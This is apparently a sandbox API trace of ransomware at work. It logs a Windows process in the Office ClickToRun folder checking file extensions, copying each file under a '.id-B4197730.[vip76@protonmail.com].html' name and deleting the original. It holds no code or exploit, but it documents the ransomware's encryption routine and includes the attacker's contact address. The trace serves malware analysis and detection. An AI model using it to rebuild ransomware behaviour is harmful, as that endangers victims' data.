	[0078.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.564] lstrlenW (lpString=".doc") returned 4
	[0078.564] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.564] lstrlenW (lpString=".docx") returned 5
	[0078.564] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.564] lstrlenW (lpString=".pdf") returned 4
	[0078.564] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.564] lstrlenW (lpString=".xls") returned 4
	[0078.564] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.564] lstrlenW (lpString=".xlsx") returned 5
	[0078.564] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.564] lstrlenW (lpString=".ppt") returned 4
	[0078.564] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.564] lstrlenW (lpString=".zip") returned 4
	[0078.564] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.564] lstrlenW (lpString=".rar") returned 4
	[0078.565] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.565] lstrlenW (lpString=".bz2") returned 4
	[0078.565] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.565] lstrlenW (lpString=".7z") returned 3
	[0078.565] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.565] lstrlenW (lpString=".dbf") returned 4
	[0078.565] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.565] lstrlenW (lpString=".1cd") returned 4
	[0078.565] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.565] lstrlenW (lpString=".jpg") returned 4
	[0078.565] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.565] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.565] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31
	[0078.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.565] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=24768) returned 1
	[0078.565] CloseHandle (hObject=0x380) returned 1
	[0078.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20
	[0078.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.566] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.566] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.864] GetLastError () returned 0x0
	[0078.864] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x60c0, lpOverlapped=0x0) returned 1
	[0078.866] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0078.868] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.868] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x112, lpOverlapped=0x0) returned 1
	[0078.868] SetEndOfFile (hFile=0x384) returned 1
	[0078.868] CloseHandle (hObject=0x384) returned 1
	[0078.870] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.870] SetEndOfFile (hFile=0x380) returned 1
	[0078.871] CloseHandle (hObject=0x380) returned 1
	[0078.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.871] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1
	[0078.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.872] lstrlenW (lpString=".doc") returned 4
	[0078.872] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.872] lstrlenW (lpString=".docx") returned 5
	[0078.872] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.872] lstrlenW (lpString=".pdf") returned 4
	[0078.872] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.872] lstrlenW (lpString=".xls") returned 4
	[0078.872] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.872] lstrlenW (lpString=".xlsx") returned 5
	[0078.872] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.872] lstrlenW (lpString=".ppt") returned 4
	[0078.872] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.872] lstrlenW (lpString=".zip") returned 4
	[0078.872] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.872] lstrlenW (lpString=".rar") returned 4
	[0078.872] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.872] lstrlenW (lpString=".bz2") returned 4
	[0078.872] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.872] lstrlenW (lpString=".7z") returned 3
	[0078.872] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.872] lstrlenW (lpString=".dbf") returned 4
	[0078.872] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.872] lstrlenW (lpString=".1cd") returned 4
	[0078.872] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.872] lstrlenW (lpString=".jpg") returned 4
	[0078.872] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.873] lstrlenW (lpString=".doc") returned 4
	[0078.873] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.873] lstrlenW (lpString=".docx") returned 5
	[0078.873] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.873] lstrlenW (lpString=".pdf") returned 4
	[0078.873] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.873] lstrlenW (lpString=".xls") returned 4
	[0078.873] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.873] lstrlenW (lpString=".xlsx") returned 5
	[0078.873] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.873] lstrlenW (lpString=".ppt") returned 4
	[0078.873] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.873] lstrlenW (lpString=".zip") returned 4
	[0078.873] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.873] lstrlenW (lpString=".rar") returned 4
	[0078.873] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.873] lstrlenW (lpString=".bz2") returned 4
	[0078.873] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.873] lstrlenW (lpString=".7z") returned 3
	[0078.873] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.873] lstrlenW (lpString=".dbf") returned 4
	[0078.873] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.873] lstrlenW (lpString=".1cd") returned 4
	[0078.873] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0078.873] lstrlenW (lpString=".jpg") returned 4
	[0078.873] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.874] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.874] lstrlenW (lpString="AppvIsvStream64.dll") returned 19
	[0078.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.874] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=473760) returned 1
	[0078.874] CloseHandle (hObject=0x380) returned 1
	[0078.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20
	[0078.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.875] lstrlenW (lpString=".doc") returned 4
	[0078.875] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.875] lstrlenW (lpString=".docx") returned 5
	[0078.875] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0078.875] lstrlenW (lpString=".pdf") returned 4
	[0078.875] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.875] lstrlenW (lpString=".xls") returned 4
	[0078.875] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.875] lstrlenW (lpString=".xlsx") returned 5
	[0078.875] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0078.875] lstrlenW (lpString=".ppt") returned 4
	[0078.875] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.875] lstrlenW (lpString=".zip") returned 4
	[0078.875] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.875] lstrlenW (lpString=".rar") returned 4
	[0078.875] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.875] lstrlenW (lpString=".bz2") returned 4
	[0078.875] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.875] lstrlenW (lpString=".7z") returned 3
	[0078.875] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.875] lstrlenW (lpString=".dbf") returned 4
	[0078.875] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.875] lstrlenW (lpString=".1cd") returned 4
	[0078.875] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.875] lstrlenW (lpString=".jpg") returned 4
	[0078.875] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.876] lstrlenW (lpString=".doc") returned 4
	[0078.876] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.876] lstrlenW (lpString=".docx") returned 5
	[0078.876] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0078.876] lstrlenW (lpString=".pdf") returned 4
	[0078.876] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.876] lstrlenW (lpString=".xls") returned 4
	[0078.876] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.876] lstrlenW (lpString=".xlsx") returned 5
	[0078.876] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0078.876] lstrlenW (lpString=".ppt") returned 4
	[0078.876] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.876] lstrlenW (lpString=".zip") returned 4
	[0078.876] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.876] lstrlenW (lpString=".rar") returned 4
	[0078.876] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.876] lstrlenW (lpString=".bz2") returned 4
	[0078.876] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.876] lstrlenW (lpString=".7z") returned 3
	[0078.876] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.876] lstrlenW (lpString=".dbf") returned 4
	[0078.876] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.876] lstrlenW (lpString=".1cd") returned 4
	[0078.876] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0078.876] lstrlenW (lpString=".jpg") returned 4
	[0078.876] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.877] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.877] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27
	[0078.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.877] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=210648) returned 1
	[0078.877] CloseHandle (hObject=0x380) returned 1
	[0078.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20
	[0078.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.877] lstrlenW (lpString=".doc") returned 4
	[0078.878] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.878] lstrlenW (lpString=".docx") returned 5
	[0078.878] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0078.878] lstrlenW (lpString=".pdf") returned 4
	[0078.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.878] lstrlenW (lpString=".xls") returned 4
	[0078.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.878] lstrlenW (lpString=".xlsx") returned 5
	[0078.878] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0078.878] lstrlenW (lpString=".ppt") returned 4
	[0078.878] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.878] lstrlenW (lpString=".zip") returned 4
	[0078.878] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.878] lstrlenW (lpString=".rar") returned 4
	[0078.878] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.878] lstrlenW (lpString=".bz2") returned 4
	[0078.878] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.878] lstrlenW (lpString=".7z") returned 3
	[0078.878] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.878] lstrlenW (lpString=".dbf") returned 4
	[0078.878] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.878] lstrlenW (lpString=".1cd") returned 4
	[0078.878] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.878] lstrlenW (lpString=".jpg") returned 4
	[0078.878] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.879] lstrlenW (lpString=".doc") returned 4
	[0078.879] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.879] lstrlenW (lpString=".docx") returned 5
	[0078.879] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0078.879] lstrlenW (lpString=".pdf") returned 4
	[0078.879] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.879] lstrlenW (lpString=".xls") returned 4
	[0078.879] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.879] lstrlenW (lpString=".xlsx") returned 5
	[0078.879] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0078.879] lstrlenW (lpString=".ppt") returned 4
	[0078.879] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.879] lstrlenW (lpString=".zip") returned 4
	[0078.879] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.879] lstrlenW (lpString=".rar") returned 4
	[0078.879] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.879] lstrlenW (lpString=".bz2") returned 4
	[0078.879] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.879] lstrlenW (lpString=".7z") returned 3
	[0078.879] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.879] lstrlenW (lpString=".dbf") returned 4
	[0078.879] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.879] lstrlenW (lpString=".1cd") returned 4
	[0078.879] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0078.879] lstrlenW (lpString=".jpg") returned 4
	[0078.879] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.880] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.880] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30
	[0078.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.880] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1402584) returned 1
	[0078.880] CloseHandle (hObject=0x380) returned 1
	[0078.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20
	[0078.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.880] lstrlenW (lpString=".doc") returned 4
	[0078.880] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.880] lstrlenW (lpString=".docx") returned 5
	[0078.880] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0078.880] lstrlenW (lpString=".pdf") returned 4
	[0078.881] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.881] lstrlenW (lpString=".xls") returned 4
	[0078.881] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.881] lstrlenW (lpString=".xlsx") returned 5
	[0078.881] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0078.881] lstrlenW (lpString=".ppt") returned 4
	[0078.881] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0078.881] lstrlenW (lpString=".zip") returned 4
